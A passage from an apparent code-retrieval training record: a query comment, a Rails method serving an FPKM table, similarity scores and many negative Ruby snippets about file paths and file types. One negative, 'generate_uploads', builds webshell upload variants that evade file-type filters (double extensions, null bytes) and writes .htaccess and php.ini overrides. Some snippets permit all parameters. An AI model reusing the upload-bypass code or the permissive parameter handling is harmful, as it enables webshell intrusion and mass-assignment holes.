"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
FILE_PATH = File.join(Rails.root, "../dataDownloads")
|
def figure_1
#file_path = File.join(Rails.root, "public/images", "")
send_file(File.join(FILE_PATH, "LgrNucDist.jpg"), :type => 'image/png', :disposition => 'inline')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_data_file_path(file_name)\n base = File.dirname __FILE__\n File.join(base, \"data\", file_name)\nend",
"def file_dir\n 'files'\n end",
"def store_dir\n \"#{Rails.root}/app/files/uploads/#{ENV['PROJECT_ID']}/\"\n end",
"def file_path\n File.dirname(__FILE__) + '/' + @file_name\n end",
"def file_path(file_name)\n File.join(Rails.root, 'public', 'csv_data', file_name)\n end",
"def file_path\n dir_name + file_name\n end",
"def prepare_file_path_to_download\n folder = ::EasyManageClient.configuration(profile).download_folder\n file_extension = ::EasyManageClient.configuration(profile).file_extension\n File.join(folder, \"#{response[:reference]}.#{file_extension}\")\n end",
"def data_path(filename)\n File.join(File.dirname(__FILE__), 'repo', filename)\n end",
"def path\n \"/#{UPLOAD_DIR}/#{filename}\"\n end",
"def file_path\n File.join(dir,filename)\n end",
"def data_path(path)\n return File.expand_path(File.join(@@config['dataPath'], path))\n end",
"def data_store_path\n Rails.root.join('data', self.data_dir)\n end",
"def download_path\n ::File.join(Chef::Config[:file_cache_path], ::File.basename(URL))\n end",
"def output_dir_path\n @output_dir_path ||= download_dir_path\n end",
"def local_file_path\n afilePath = building.local_path + SAVE_PATH + id.to_s\n\n if file_suffix != \"\" && file_suffix != nil\n afilePath = afilePath + \".\" + file_suffix\n end\n\n afilePath \n end",
"def pathDocuments\n \"./documents/\"\nend",
"def file\n File.join(root, FILENAME)\n end",
"def store_dir\n \"assets/#{Site.current.key}/uploads/\"\n end",
"def store_dir\n \"uploads/imports/\"\n end",
"def path\n @path ||= File.join(folder.path, filename)\n end",
"def file_path\n end",
"def download_path\n ::File.join(Chef::Config[:file_cache_path],\n ::File.basename(source_path))\n end",
"def file_attachments_path\n ENV['IMPORT_PATH'] || '/opt/data'\n end",
"def local_path\n check_and_copy_local_file_to_rails_public\n File.join('ajaxlibs', library_name, version, file_name)\n end",
"def root_file_path; end",
"def dir_path\n RAILS_ROOT + '/temp_files/' + Digest::MD5.hexdigest(self.id.to_s)[0..1] + '/'\n end",
"def store_dir\r\n 'uploads/practice-applications'\r\n end",
"def file_path\n FileUtils.mkdir_p @path unless Dir.exist? @path\n\n @path\n end",
"def data_path\n if ENV[\"RACK_ENV\"] == \"test\"\n File.expand_path(\"../test/data\", __FILE__)\n else\n File.expand_path(\"../data\", __FILE__)\n end\nend",
"def data_path\n if ENV[\"RACK_ENV\"] == \"test\"\n File.expand_path(\"../test/data\", __FILE__)\n else\n File.expand_path(\"../data\", __FILE__)\n end\nend",
"def data_path\n if ENV[\"RACK_ENV\"] == \"test\"\n File.expand_path(\"../test/data\", __FILE__)\n else\n File.expand_path(\"../data\", __FILE__)\n end\nend",
"def csv_file_download_path(run)\n Rails.application.routes.url_helpers.rails_blob_path(\n run.csv_file,\n only_path: true\n )\n end",
"def filepath\n base = storage_root_path\n if base\n File.join(base, storage_key)\n else\n raise StandardError.new(\"no filesystem path found for datafile: #{self.web_id}\")\n end\n end",
"def web_file_path \n afilePath = building.web_path + SAVE_PATH + id.to_s\n if file_suffix != \"\" && file_suffix != nil\n afilePath = afilePath + \".\" + file_suffix \n end\n\n afilePath\n end",
"def file_path; end",
"def data_file_full_path\n File.join(@data_lib.dir_name,\"#{@data_set_name}\")\n end",
"def datafile_path(env)\n env[:machine].data_dir.join(\"berkshelf\")\n end",
"def downloaded_path\n @downloaded_path ||= File.join(install_path, file_name(url))\n return @downloaded_path\n end",
"def files_dir\n return File.absolute_path(File.join(@root_dir, 'weather'))\n end",
"def files_path\n File.expand_path(\"#{Config.project_root}/files\")\n end",
"def base_export_dir\n \"#{@directory.slug}_files\"\n end",
"def file_path\n dir\n end",
"def path\n @path ||= Pathname.new(dir) + filename\n end",
"def store_dir\n \"city-of-meridian/files/\"\n end",
"def full_file_path\n Rails.root.join('uploads', filepath).to_s\n end",
"def path_external\n @path_external ||= File.join(folder_external_documents, external_name)\n end",
"def path\n \"%s/%s\" % [dirname, filename]\n end",
"def local_backup_path\n [local_directory, Confluence.filename].join('/')\n end",
"def store_dir\n \"#{Rails.root}/public/uploads/\"\n end",
"def store_dir\n \"uploads/\"\n end",
"def store_dir\n \"uploads/\"\n end",
"def store_dir\n \"uploads/\"\n end",
"def _ROOT_FILE_STORE\n return \"/home/cesteam/cloudstorge/\"\nend",
"def download_path(file)\n\t\tif self.study.public?\n\t\t\tdownload_file_path(self.study.url_safe_name, filename: file)\n\t\telse\n\t\t\tdownload_private_file_path(self.study.url_safe_name, filename: file)\n\t\tend\n\tend",
"def file_path(filename)\n File.join(path, filename)\n end",
"def store_dir\n \"uploads\"\n end",
"def data_path name\n File.join File.dirname(__FILE__), 'data', \"#{ name }.yml\"\nend",
"def document_attachment\n \"#{Rails.root}/uploads/#{document.url}\"\n end",
"def file_dir\n nil\n end",
"def my_path\n File.expand_path(File.dirname(__FILE__))\n end",
"def path()\n file = File.join(Eddy.config.tmp_dir, \"eddy_persistent_data.json\")\n # FileUtils.mkdir_p(File.dirname(file))\n return Pathname.new(file)\n end",
"def dataset_path\n @dataset_path ||= filename\n end",
"def get_content_path\r\n if ENV[\"RACK_ENV\"] != \"test\"\r\n File.expand_path(\"..\", __FILE__) + \"/content_files\"\r\n else\r\n File.expand_path(\"..\", __FILE__) + \"/test/content_files\"\r\n end\r\nend",
"def store_dir\n 'file_uploads'\n end",
"def store_dir\n 'uploads'\n end",
"def download_path(file)\n if self.study.public?\n download_file_path(accession: self.study.accession, study_name: self.study.url_safe_name, filename: file)\n else\n download_private_file_path(accession: self.study.accession, study_name: self.study.url_safe_name, filename: file)\n end\n end",
"def cache_directory\n Rails.root.join('tmp', 'export')\n end",
"def relative_directory; end",
"def get_file_path\n @path\n end",
"def download_path\n if self.upload_file_name.nil?\n self.human_fastq_url\n else\n if self.study.public?\n download_file_path(self.study.url_safe_name, filename: self.bucket_location)\n else\n download_private_file_path(self.study.url_safe_name, filename: self.bucket_location)\n end\n end\n end",
"def path\n @filename\n end",
"def store_dir\n Rails.root.join('data', model.data_dir, model.id.to_s)\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.isbn}\"\n end",
"def store_dir(model)\n File.join Rails.root, \"public\", \"assets\", partition_dir(model)\n end",
"def path\n self.file.to_s\n end",
"def filepath\n\t\t\tFile.join(TsungWrapper.config_dir, 'data', @filename)\n\t\tend",
"def store_dir\n \"uploads/#{model.request_id}\"\n end",
"def path\n '/c/document_library/get_file?folderId=%i&name=%s' % [self.folderid, self.name]\n end",
"def store_dir\n \"media/documents/#{Time.now.year}/#{Time.now.month}/#{Time.now.day}\"\n end",
"def tmp_path\n root_path.join('tmp')\nend",
"def get_test_data_path_for(test_data_sub_path)\n File.expand_path(File.dirname(__FILE__) + \"/../test_data/#{ test_data_sub_path }\")\nend",
"def _spec_data_dir(file)\n datadir = Dir.new('./spec/data/')\n File.join(datadir.path, file)\nend",
"def storage_dir\n File.join(thirdpartydir,\"storage\")\n end",
"def _FILESDIR; Config._FILES; end",
"def path\n ::File.join(@folder, @file)\n end",
"def get_data_file(dir, file_name)\n File.join(dir, file_name)\n end",
"def stored_file_path\n File.join(path, stored_name)\n end",
"def data_file!(path)\n path = Pathname.new(path)\n if relative_data_files.include?(path)\n data_dir/path\n else\n raise FileNotFoundError, \"No such file #{path} in bag\"\n end\n end",
"def data_directory\n @data_directory\n end",
"def base_path\n Dir.pwd + \"/\"\n end",
"def store_dir\n \"uploads/#{model.Mid}\"\n end",
"def datafile_path(file)\n local_profile = \"~/.souschef/#{@opts[:profile]}/#{file}\"\n profile = File.expand_path(local_profile, __FILE__)\n\n if File.exist?(profile)\n profile\n else\n p = \"../../../../data/#{file}\"\n File.expand_path(p, __FILE__)\n end\n end",
"def download_quest\n send_file(\"#{RAILS_ROOT}/public/questionnaire.doc\") \n end",
"def fixture_path\n @fixture_path ||=\n File.expand_path(File.join(__dir__, '..', '..', 'fixtures', 'files'))\nend",
"def directory_path\n @directory_path ||= url_file_path.sub /([^\\/]*)\\z/, ''\n end",
"def files_dir\n return File.absolute_path(File.join(@root_dir, 'lib', 'files'))\n end",
"def fixture_file_path(filename)\n Rails.root.join('test', 'fixtures', 'files', filename).to_s\n end",
"def path\n File.join(Settings.root, folder_name.to_path)\n end",
"def get_file_path(filename)\n # dir = File.realdirpath(File.join(File.dirname(__FILE__), '..', 'config'))\n File.join(@dir, filename)\n end",
"def bulk_download_folder(file)\n self.name == '/' ? \"root_dir/#{file[:name]}\": file[:name]\n end",
"def store_dir\n \"uploads/#{model.id}\"\n end"
] |
[
"0.72755086",
"0.7152731",
"0.7067475",
"0.69959426",
"0.6960311",
"0.6904632",
"0.6870603",
"0.6865643",
"0.68167585",
"0.67851406",
"0.67839956",
"0.6766811",
"0.6765746",
"0.6759179",
"0.67417616",
"0.6741246",
"0.6734575",
"0.6723445",
"0.6722542",
"0.6714544",
"0.66865975",
"0.66729534",
"0.66727775",
"0.6668863",
"0.6657302",
"0.6652381",
"0.66511524",
"0.6644387",
"0.66072506",
"0.66072506",
"0.66072506",
"0.66033924",
"0.65907913",
"0.6585453",
"0.65708995",
"0.6567385",
"0.6563187",
"0.6534538",
"0.65158176",
"0.65125686",
"0.65055335",
"0.6503699",
"0.6495086",
"0.64930683",
"0.64900476",
"0.6468406",
"0.64525366",
"0.64438605",
"0.64329284",
"0.6414336",
"0.6414336",
"0.6414336",
"0.64115375",
"0.6411419",
"0.641131",
"0.6400158",
"0.63998353",
"0.6398468",
"0.63941586",
"0.6386838",
"0.63860416",
"0.6384399",
"0.6383341",
"0.6382116",
"0.6376698",
"0.6369887",
"0.6356955",
"0.63490146",
"0.6347993",
"0.6339592",
"0.633864",
"0.6328854",
"0.6327747",
"0.63244635",
"0.631",
"0.63070524",
"0.63009715",
"0.62980515",
"0.628901",
"0.6287056",
"0.6283407",
"0.6280044",
"0.627563",
"0.6272786",
"0.62709326",
"0.6270812",
"0.6256697",
"0.62560356",
"0.6252478",
"0.6251548",
"0.62438273",
"0.6230562",
"0.6230201",
"0.6224231",
"0.6222708",
"0.62224406",
"0.62220013",
"0.62176216",
"0.62143356",
"0.6211979",
"0.6202992"
] |
0.0
|
-1
|
for testing, hardcoded here, later loop through these, capturing file name, trunc the filetype
|
def table_1
@table1 = read_table(File.join(FILE_PATH, "Lgr_prelim_FPKM.txt"))
#send_file(File.join(FILE_PATH, "Lgr_prelim_FPKM.txt"), :type => 'text/csv', :disposition => 'inline')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def file_type file_name \n\t\tFile.extname( file_name ).gsub /^\\./, '' \n\tend",
"def file_type file_name \n File.extname( file_name ).gsub /^\\./, '' \n end",
"def file_type(file_name)\n @file_class.extname(file_name).gsub( /^\\./, '' ).downcase \n end",
"def file_type(file_name)\n File.exname( file_name ).gsub( /^\\./, '').downcase\n end",
"def file_type file_name\n File.extname(file_name).gsub(/^\\./, '').downcase\n end",
"def file_type( file_name )\n File.extname( file_name ).gsub( /^./, '' ).downcase\n end",
"def cropped_type_name\n over_limit = (Zaru.sanitize! \"#{type_description}-#{filename_date}-#{filename_doc_id}.#{preferred_extension}\").size - MAXIMUM_FILENAME_LENGTH\n end_index = over_limit <= 0 ? -1 : -1 - over_limit\n type_description[0..end_index]\n end",
"def file_type_class\n self.file_type.downcase.split.join('-') + '-file'\n end",
"def determine_file_type\n return \"pfile\" if image? and (@filename =~ /^P.....\\.7/) != nil\n return \"pfile\" if (@filename =~ /^P.....\\.7\\.summary/) != nil\n return \"geifile\" if image? and (@filename =~ /^I\\.\\d*/) != nil\n return \"scan_archive_h5_json\" if (@filename =~ /^ScanArchive_.{10,}.h5.json/) != nil\n return \"dicom\" if image? and (@filename =~ /^P.....\\.7/) == nil\n return nil\n end",
"def new_ending(sourcefile, type)\n #sourcefile.sub(/\\.[^.]+$/, \".#{type.to_s}\")\n \"#{sourcefile}.#{type.to_s}\"\nend",
"def file_type(file_name)\n return file_name[file_name.rindex(\".\") + 1, file_name.size]\n end",
"def categorize filename\n [filetype(filename), fileclass(filename)]\nend",
"def file_name_type(item = nil)\n fd = get_file_data(item)\n file = file_upload_data(fd)\n file = file&.dig(:metadata, :filename) and return [file, :uploader]\n file = pending_file_name(fd) and return [file, :name]\n file = pending_file_url(fd) and return [file, :url]\n ['ENCODED', :data] if encoded_file_data(fd) # TODO: don't handle this yet\n end",
"def file_base_type(path)\r\n \t\tfile_name = File.basename(path)\r\n \t\textension = File.extname(file_name)\r\n \t\tfile_name = file_name[0, file_name.length - extension.length]\r\n \t\t(File.extname(file_name)[1..-1]).to_sym\r\n end",
"def filetype f\n return nil unless f\n\n f = Shellwords.escape(f)\n s = `file #{f}`\n return :text if s.index 'text'\n return :zip if s.index(/[Zz]ip/)\n return :zip if s.index('archive')\n return :image if s.index 'image'\n return :sqlite if s.index 'SQLite'\n # return :db if s.index 'database'\n return :text if s.index 'data'\n\n nil\nend",
"def get_file_type\n\n @image.uploads.each do |upload|\n filename_arr = upload.content_type.to_s.split('/')\n @image.file_type = filename_arr[1].upcase\n end\n\n end",
"def file_name\n potential_name = params[:filename] || file.original_name || (asset.respond_to?(:label) && asset.label) || file.id\n potential_name = potential_name.gsub(/[,;]/, '')\n potential_extension = ''\n if file.mime_type == 'image/png'\n potential_extension = '.png'\n elsif file.mime_type == 'image/tiff'\n potential_extension = '.png'\n elsif file.mime_type == 'image/jpeg' || file.mime_type == 'image/jpg'\n potential_extension = '.jpg'\n end\n return potential_name\n #return potential_name + potential_extension\n end",
"def mimetype; @mimetype ||= `file -b --mime-type '#@fname'`.strip; end",
"def ftype() File.ftype( expand_tilde ) end",
"def _extract_mime_type_with_mime_types(io)\n if filename = extract_filename(io)\n mime_type = MIME::Types.of(filename).first\n mime_type.to_s if mime_type\n end\n end",
"def preferred_file_format\n ''\n end",
"def type t\n @files = @files.select { |file| File.exist?(file) && File.ftype(file) == t}\n self\n end",
"def generate_uploads(shell, flip='gif')\n Dir.mkdir(EVIL) unless File.exists?(EVIL) and File.directory?(EVIL)\n Dir.mkdir(UP) unless File.exists?(UP) and File.directory?(UP)\n php = [ 'php', 'pHp', 'php4', 'php5', 'phtml' ]\n options = [ 'gif', 'jpeg', 'mp3', 'pdf', 'png', 'txt' ]\n shell_name = shell.split('/')[-1]\n # Read provided Shell into Var\n data = File.open(shell).read\n # Generate our Shell Possibilities for Uploading\n php.each do |x|\n a = shell_name.sub(shell.split('/')[-1].split('.')[-1], x)\n f = File.open(UP + a, 'w+')\n f.puts data\n f.close\n end\n options.each do |y|\n # Simple Concatenation of Filetypes: .php.jpeg\n b = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '.' + y)\n f = File.open(UP + b, 'w+')\n f.puts data\n f.close\n if y =~ /GIF|JPEG|PNG/i\n # Simple Concatenation of Filetypes (reversed order for evil images): .jpeg.php\n c = shell_name.sub(shell.split('/')[-1].split('.')[-1], y + '.' + shell.split('/')[-1].split('.')[-1])\n f = File.open(UP + c, 'w+')\n f.puts data\n f.close\n end\n # Another Concatenation of Filetypes in hopes it drops the trailing type: .php;jpeg\n d = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + ';.' + y)\n f = File.open(UP + d, 'w+')\n f.puts data\n f.close\n # Null Byte to drop the trailing filetype\n e = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '%00.' + y)\n f = File.open(UP + e, 'w+')\n f.puts data\n f.close\n end\n # Bogus separator, unknown extension causes it to fallback to PHP\n g = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '.xxxfoo')\n f = File.open(UP + g, 'w+')\n f.puts data\n f.close\n\n # Create .htaccess file for flipping filetype to php\n f = File.open(UP + '.htaccess', 'w+')\n f.puts \"AddType application/x-httpd-php .#{flip}\"\n f.close\n\n # PHP_INI Overrides\n f = File.open(UP + 'php.ini', 'w+')\n f.puts 'disable_functions = none'\n f.puts 'magic_quotes_gpc = off'\n f.puts 'safe_mode = off'\n f.puts 'suhosin.executor.func.blacklist = foofucked'\n f.close\nend",
"def set_file_type\n if self.is_local?\n if self.attachment_content_type.blank?\n self.file_type = \"misc\"\n elsif self.attachment_content_type == 'application/pdf'\n self.file_type = \"pdf\"\n elsif self.attachment_content_type.include?('powerpoint')\n self.file_type = \"presentation\"\n elsif self.attachment_content_type == 'application/zip'\n self.file_type = \"zip\"\n elsif self.attachment_content_type == \"application/rtf\" || self.attachment_content_type == 'text/plain' || self.attachment_content_type == 'application/msword' || self.attachment_content_type.include?('wordprocessing')\n self.file_type = \"document\"\n elsif self.attachment_content_type.include?('spreadsheet') || self.attachment_content_type == 'ms-excel'\n self.file_type = \"spreadsheet\"\n elsif self.attachment_content_type.include?('image')\n self.file_type = \"image\"\n else\n self.file_type = \"misc\"\n end\n end\n end",
"def file_ext\n File.extname(@file_name).downcase\n end",
"def full_filename( for_file )\n super.downcase\n # super.chomp( File.extname( super ) ) + '.jpg'\n end",
"def sanitize_name\n if ['Gene List', 'Cluster'].include?(self.file_type)\n self.name.strip!\n end\n end",
"def ftype() File.ftype(path) end",
"def file_type\n case raw_file_type\n when 'f'\n :file\n when 'd'\n :directory\n when 'L'\n :symlink\n when 'D'\n :device\n when 'S'\n :special\n end\n end",
"def file_type\r\n\t\t@file_type\r\n\tend",
"def file_type\n attachments.order(position: 'asc').first.file_type\n rescue StandardError => exc\n logger.error(\"Message for the log file #{exc.message}\")\n 'application/pdf'\n end",
"def with_file_extension(name, entry_type)\n return name unless File.extname(name.to_s).empty?\n\n extension = extension_for_type(entry_type)\n extension ? \"#{ name }.#{ extension }\" : name\n end",
"def extract_type_from_filename\n basename = File.basename(filename, File.extname(filename))\n basename.split('_')[1]\n end",
"def file_extension; end",
"def file_extension; end",
"def file_extension; end",
"def rename_with_file_type(ori, nam)\n s = ori.split('.')\n nam + '.' + s[s.length - 1]\n end",
"def autoname(type)\n begin\n\treturn unless @outdir\n\tstamp = sprintf('%.6f',\"#{Time.now.to_i}.#{Time.now.usec}\".to_f).gsub('.','')\n\tFile.join(@outdir,\"#{type.upcase}_#{stamp}.#{@format.downcase}\")\n rescue Exception => e\n\t@output.puts \"#{e.message} #{e.backtrace.inspect}\"\n\t@logger.error \"#{e.message} #{e.backtrace.inspect}\" if @logger \n end\n end",
"def check_file_type\n `file #{@desktop_image}`.sub(/^.*: /,'').split.first.downcase\n end",
"def finalize(file_details)\n file_details.map do |f|\n \"#{f.file_info[:ftype]}#{f.file_info[:mode]} \"\\\n \"#{f.format_max_nlink_digit(file_details, f)} \"\\\n \"#{f.file_info[:owner].rjust(5)} #{f.file_info[:group]} \"\\\n \"#{f.format_max_size_digit(file_details, f)} \"\\\n \"#{f.file_info[:mtime]} #{f.file}\"\\\n end\n end",
"def make_file_name(proposal, type='paltrack')\n if type == 'paltrack'\n make_paltrack_file_name(proposal)\n else\n @filename = @flow_type.upcase << @formatted_seq\n end\n end",
"def remove_file_extension(filename)\r\n extensions = [\"TIF\", \"TIFF\", \"JPEG\", \"JPG\", \"PDF\"]\r\n original_file_extension = filename.split('.').last\r\n if extensions.include?(original_file_extension.upcase)\r\n unwanted_string = \".\"+original_file_extension\r\n filename = filename.chomp(unwanted_string)\r\n end\r\n filename\r\n end",
"def mime_type=(_arg0); end",
"def mime_type=(_arg0); end",
"def mime_type=(_arg0); end",
"def filetype(path)\n path = File.extname(path)\n if Audio::EXTENSION_WHITE_LIST.include?(path[1, path.length])\n return 'audio'\n elsif Video::EXTENSION_WHITE_LIST.include?(path[1, path.length])\n return 'video'\n elsif Image::EXTENSION_WHITE_LIST.include?(path[1, path.length])\n return 'image'\n else\n return nil\n end\n end",
"def to_filename(filename, size)\n filename.gsub! /^.*(\\\\|\\/)/, ''\n filename.gsub!(/[^0-9A-Za-z.\\-]/, '') \n filename.downcase.slice! 0..size\nend",
"def filetype\n `file --mime-type -b #{@file_path}`.chomp\n end",
"def file_type\n FILE_TYPES[@file_type]\n end",
"def file_type\n\t\tline = @file_desc.gets\n\t\t@file_desc.pos = 0 # Reset our location within the file\n\t\t\t\t\n\t\ttype = case line[line.rindex(' ')-1].chr\n\t\t\twhen ',' then :comma\n\t\t\twhen '|' then :pipe\n\t\t\telse :space\n\t\tend\n\tend",
"def filename\n case File.extname original_filename\n when /.zip/\n \"oag_airlines.xls.zip\"\n when /.xls/\n \"oag_airlines.xls\"\n end\n end",
"def override_content_type_and_save_info\n case File.extname(file.file).delete('.').downcase.to_sym\n when :xlsx\n file.content_type = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'\n when :docx\n file.content_type = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'\n when :pptx\n file.content_type = 'application/vnd.openxmlformats-officedocument.presentationml.presentation'\n when :rar\n file.content_type = 'application/vnd.rar'\n when :zip\n file.content_type = 'application/zip'\n when :bat\n file.content_type = 'application/x-msdos-program'\n when :cmd\n file.content_type = 'application/cmd'\n when :exe\n file.content_type = 'application/x-msdownload'\n when :msi\n file.content_type = 'application/x-msi'\n when :php\n file.content_type = 'application/x-php'\n when :py\n file.content_type = 'application/x-python'\n when :vbs\n file.content_type = 'application/x-vbs'\n end\n\n model.file_content_type = file.content_type if file.content_type\n model.file_size = number_to_human_size(file.size) if file.size\n end",
"def determine_file_extension_with_mime_type(mimetype, given_extension)\n # return if either argument is nil\n return '' if mimetype.nil?\n\n # strip off the leading . in the given extension\n if given_extension && given_extension.match(/^\\./)\n given_extension = given_extension[1..-1]\n end\n\n # look through the known mimetypes to see if we handle this mimetype\n # note: have to check 1 dir higher because of a Dir.chdir that happens\n # before this is called\n File.open(\"../mime.types\", \"r\") do |f|\n while (line = f.gets)\n line.chomp!\n # ignore any commented lines and check for the mimetype in the line\n if line[0] != \"#\" && line.include?(mimetype) then\n # use to_s since that will always give us a sensible String and not nil\n # nil.to_s == ''\n if given_extension && !given_extension.empty? && line.include?(given_extension) then\n return \".#{given_extension}\"\n else\n return \".#{line.split(' ')[1]}\"\n end\n end\n end\n end\n ''\nend",
"def file_type(file_path)\n return 'file' if File.file? file_path\n return 'directory' if File.directory? file_path\n return 'unknown'\n end",
"def getFiletype filename\n extension = filename.split(\".\")[1]\n case extension\n when \"wav\" then\t\"audio/wav\"\n when \"amr\" then\t\"audio/amr\"\n when \"amr-wb\" then \"audio/amr-wb\"\n when \"x-speex\" then \"audio/x-speex\"\n when \"spx\" then\t\"audio/x-speex\"\n else \n end\n end",
"def filetype\n if options.filetype.to_sym == :dot then :none else options.filetype.to_sym end\n end",
"def update_last_known_file_type\n self.last_known_file_type = Constants::FILE_TYPES_BY_EXTENSION[pathname.extname[1..-1]]\n end",
"def ext\n file.extension.downcase\n end",
"def file_type; 'directory' end",
"def file_specification\n file_name = File.basename (\"#{fax_params[\"file_path\"]}\").downcase\n file_extension = File.extname (file_name).downcase\n\n if file_extension == \".pdf\"\n return \"application/PDF\",file_name\n elsif file_extension == \".txt\"\n return \"application/TXT\",file_name\n elsif file_extension == \".doc\"\n return \"application/DOC\",file_name\n elsif file_extension == \".docx\"\n return \"application/DOCX\",file_name\n elsif file_extension == \".tif\"\n return \"application/TIF\",file_name\n else\n return false\n end\n end",
"def filename_to_mimetype(filename)\n if !filename\n return nil\n end\n if filename.match(/\\.([^.]+)$/i)\n lext = $1.downcase\n if $file_extension_to_mime_type.include?(lext)\n return $file_extension_to_mime_type[lext]\n end\n end\n return nil\nend",
"def file_mimetype\n @descriptive_detail.file_mimetype\n end",
"def extname; end",
"def extname; end",
"def extname; end",
"def extname; end",
"def type\n @type ||= File.extname(path)[1..-1]\n end",
"def get_mime_type_from_ext(extension)\n extension[0]=''\n types = [\n { :ext => \"txt\", :mime_type => \"text/plain\" },\n { :ext => \"ini\", :mime_type => \"text/plain\" },\n { :ext => \"sln\", :mime_type => \"text/plain\" },\n { :ext => \"cs\", :mime_type => \"text/plain\" },\n { :ext => \"js\", :mime_type => \"text/plain\" },\n { :ext => \"config\", :mime_type => \"text/plain\" },\n { :ext => \"vb\", :mime_type => \"text/plain\" },\n { :ext => :\"jpg\", :mime_type => \"image/jpeg\" },\n { :ext => \"jpeg\", :mime_type => \"image/jpeg\" },\n { :ext => \"bmp\", :mime_type => \"image/bmp\" },\n { :ext => \"csv\", :mime_type => \"text/csv\" },\n { :ext => \"doc\", :mime_type => \"application/msword\" },\n { :ext => \"docx\", :mime_type => \"application/vnd.openxmlformats-officedocument.wordprocessingml.document\" },\n { :ext => \"gif\", :mime_type => \"image/gif\" },\n { :ext => \"html\", :mime_type => \"text/html\" },\n { :ext => \"pdf\", :mime_type => \"application/pdf\" },\n { :ext => \"png\", :mime_type => \"image/png\" },\n { :ext => \"ppt\", :mime_type => \"application/vnd.ms-powerpoint\" },\n { :ext => \"pptx\", :mime_type => \"application/vnd.openxmlformats-officedocument.presentationml.presentation\" },\n { :ext => \"xls\", :mime_type => \"application/vnd.ms-excel\" },\n { :ext => \"xlsx\", :mime_type => \"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\" },\n { :ext => \"xml\", :mime_type => \"application/xml\" },\n { :ext => \"zip\", :mime_type => \"application/x-zip-compressed\" },\n { :ext => \"wav\", :mime_type => \"audio/wav\" },\n { :ext => \"eml\", :mime_type => \"message/rfc822\" },\n { :ext => \"mp3\", :mime_type => \"audio/mpeg\" },\n { :ext => \"mp4\", :mime_type => \"video/mp4\" },\n { :ext => \"mov\", :mime_type => \"video/quicktime\" }\n ]\n mime = types.find {|x| x[:ext] == extension}\n\n unless mime.nil? || mime.empty?\n \"application/octet-stream\"\n end\n mime[:mime_type]\n end",
"def typeName\n case ftype\n when FTYPE_TEST\n return 'test'\n when FTYPE_SHEET\n return 'mathsheet'\n else # \n return 'generic'\n end\n end",
"def type\n stype = \"file\"\n stype = \"atom\" if @filepath.nil? and !@metadata.empty?\n stype = \"multipart\" if !@filepath.nil? and !@metadata.empty?\n stype\n end",
"def fix_filename\n unless self.filename.blank?\n self.filename.sub!(/^.*\\/([^\\/]*)$/, '\\1')\n self.filename += '.torrent' unless self.filename =~ /\\.torrent$/\n end\n end",
"def append_filetype string\n return \"#{string}.yay\" unless /\\.yay$/.match(string)\n return string\n end",
"def mime_type\n term = format_controlled_vocabulary.all.find { |x| x.definition == info_service.driver }\n term ? term.value : original_file.mime_type\n end",
"def mime_type=(_); end",
"def document_type\n FileUtility.get_file_type(@file_name)\n end",
"def file_type\n if is_ography?\n :ography\n else\n :tei_content\n end\n end",
